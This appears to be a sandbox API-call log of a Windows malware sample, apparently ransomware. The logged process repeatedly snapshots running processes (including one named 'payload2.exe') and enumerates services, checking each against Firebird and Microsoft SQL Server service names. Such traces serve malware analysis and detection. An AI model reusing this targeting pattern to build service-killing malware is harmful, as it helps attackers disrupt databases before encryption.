	[0199.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0199.550] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0199.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0199.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0199.551] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0199.551] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0199.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0199.551] lstrlenW (lpString="Themes") returned 6
	[0199.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0199.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0199.551] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0199.551] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0199.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0199.551] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0199.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0199.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0199.551] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0199.551] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0199.551] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x5e8
	[0199.661] Process32FirstW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0199.661] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0199.662] lstrlenW (lpString="System") returned 6
	[0199.662] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0199.663] lstrlenW (lpString="smss.exe") returned 8
	[0199.663] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0199.663] lstrlenW (lpString="csrss.exe") returned 9
	[0199.663] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0199.664] lstrlenW (lpString="wininit.exe") returned 11
	[0199.664] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0199.664] lstrlenW (lpString="csrss.exe") returned 9
	[0199.664] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0199.665] lstrlenW (lpString="winlogon.exe") returned 12
	[0199.665] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0199.665] lstrlenW (lpString="services.exe") returned 12
	[0199.665] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0199.666] lstrlenW (lpString="lsass.exe") returned 9
	[0199.666] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0199.666] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0199.666] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0199.667] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0199.667] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0199.667] lstrlenW (lpString="svchost.exe") returned 11
	[0199.668] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0199.668] lstrlenW (lpString="svchost.exe") returned 11
	[0199.668] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0199.668] lstrlenW (lpString="dwm.exe") returned 7
	[0199.669] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0199.669] lstrlenW (lpString="svchost.exe") returned 11
	[0199.669] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0199.669] lstrlenW (lpString="svchost.exe") returned 11
	[0199.670] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0199.670] lstrlenW (lpString="svchost.exe") returned 11
	[0199.670] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0199.670] lstrlenW (lpString="svchost.exe") returned 11
	[0199.671] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0199.671] lstrlenW (lpString="svchost.exe") returned 11
	[0199.671] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0199.671] lstrlenW (lpString="svchost.exe") returned 11
	[0199.672] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0199.672] lstrlenW (lpString="svchost.exe") returned 11
	[0199.672] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0199.672] lstrlenW (lpString="svchost.exe") returned 11
	[0199.673] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0199.673] lstrlenW (lpString="svchost.exe") returned 11
	[0199.673] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0199.674] lstrlenW (lpString="svchost.exe") returned 11
	[0199.674] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0199.674] lstrlenW (lpString="spoolsv.exe") returned 11
	[0199.674] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0199.675] lstrlenW (lpString="svchost.exe") returned 11
	[0199.675] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0199.675] lstrlenW (lpString="audiodg.exe") returned 11
	[0199.675] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0199.676] lstrlenW (lpString="sihost.exe") returned 10
	[0199.676] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0199.676] lstrlenW (lpString="svchost.exe") returned 11
	[0199.676] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0199.677] lstrlenW (lpString="taskhostw.exe") returned 13
	[0199.677] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0199.677] lstrlenW (lpString="msoia.exe") returned 9
	[0199.677] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0199.678] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0199.678] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0199.678] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0199.678] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0199.679] lstrlenW (lpString="Memory Compression") returned 18
	[0199.679] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0199.679] lstrlenW (lpString="explorer.exe") returned 12
	[0199.679] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0199.680] lstrlenW (lpString="SearchUI.exe") returned 12
	[0199.680] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0199.680] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0199.680] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0199.681] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0199.681] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0199.681] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0199.681] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0199.682] lstrlenW (lpString="payload2.exe") returned 12
	[0199.682] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0199.682] lstrlenW (lpString="dllhost.exe") returned 11
	[0199.682] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0199.683] lstrlenW (lpString="dllhost.exe") returned 11
	[0199.683] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0199.683] CloseHandle (hObject=0x5e8) returned 1
	[0199.683] Sleep (dwMilliseconds=0x1f4) 
	[0200.384] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x668268
	[0200.384] EnumServicesStatusExW (in: hSCManager=0x668268, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0200.385] GetLastError () returned 0xea
	[0200.385] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1bc4) returned 0x4472148
	[0200.385] EnumServicesStatusExW (in: hSCManager=0x668268, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4472148, cbBufSize=0x1bc4, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4472148, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0200.386] CloseServiceHandle (hSCObject=0x668268) returned 1
	[0200.387] lstrlenW (lpString="Appinfo") returned 7
	[0200.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0200.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0200.387] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0200.387] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0200.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0200.387] lstrlenW (lpString="AppXSvc") returned 7
	[0200.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0200.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0200.387] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0200.387] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0200.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0200.387] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0200.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0200.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0200.387] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0200.387] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0200.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0200.387] lstrlenW (lpString="Audiosrv") returned 8
	[0200.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0200.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0200.387] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0200.387] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0200.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0200.387] lstrlenW (lpString="BFE") returned 3
	[0200.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0200.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0200.388] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0200.388] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0200.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0200.388] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0200.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0200.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0200.388] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0200.388] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0200.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0200.388] lstrlenW (lpString="CDPSvc") returned 6
	[0200.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0200.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0200.388] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0200.388] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0200.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0200.388] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0200.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0200.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0200.388] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0200.388] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0200.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0200.388] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0200.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0200.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0200.388] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0200.388] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0200.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0200.388] lstrlenW (lpString="CryptSvc") returned 8
	[0200.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0200.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0200.388] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0200.389] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0200.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0200.389] lstrlenW (lpString="DcomLaunch") returned 10
	[0200.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0200.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0200.389] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0200.389] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0200.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0200.389] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0200.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0200.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0200.389] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0200.389] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0200.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0200.389] lstrlenW (lpString="Dhcp") returned 4
	[0200.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0200.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0200.389] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0200.389] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0200.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0200.389] lstrlenW (lpString="Dnscache") returned 8
	[0200.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0200.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0200.389] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0200.389] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0200.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0200.389] lstrlenW (lpString="DPS") returned 3
	[0200.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0200.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0200.389] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0200.389] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0200.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0200.390] lstrlenW (lpString="DusmSvc") returned 7
	[0200.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
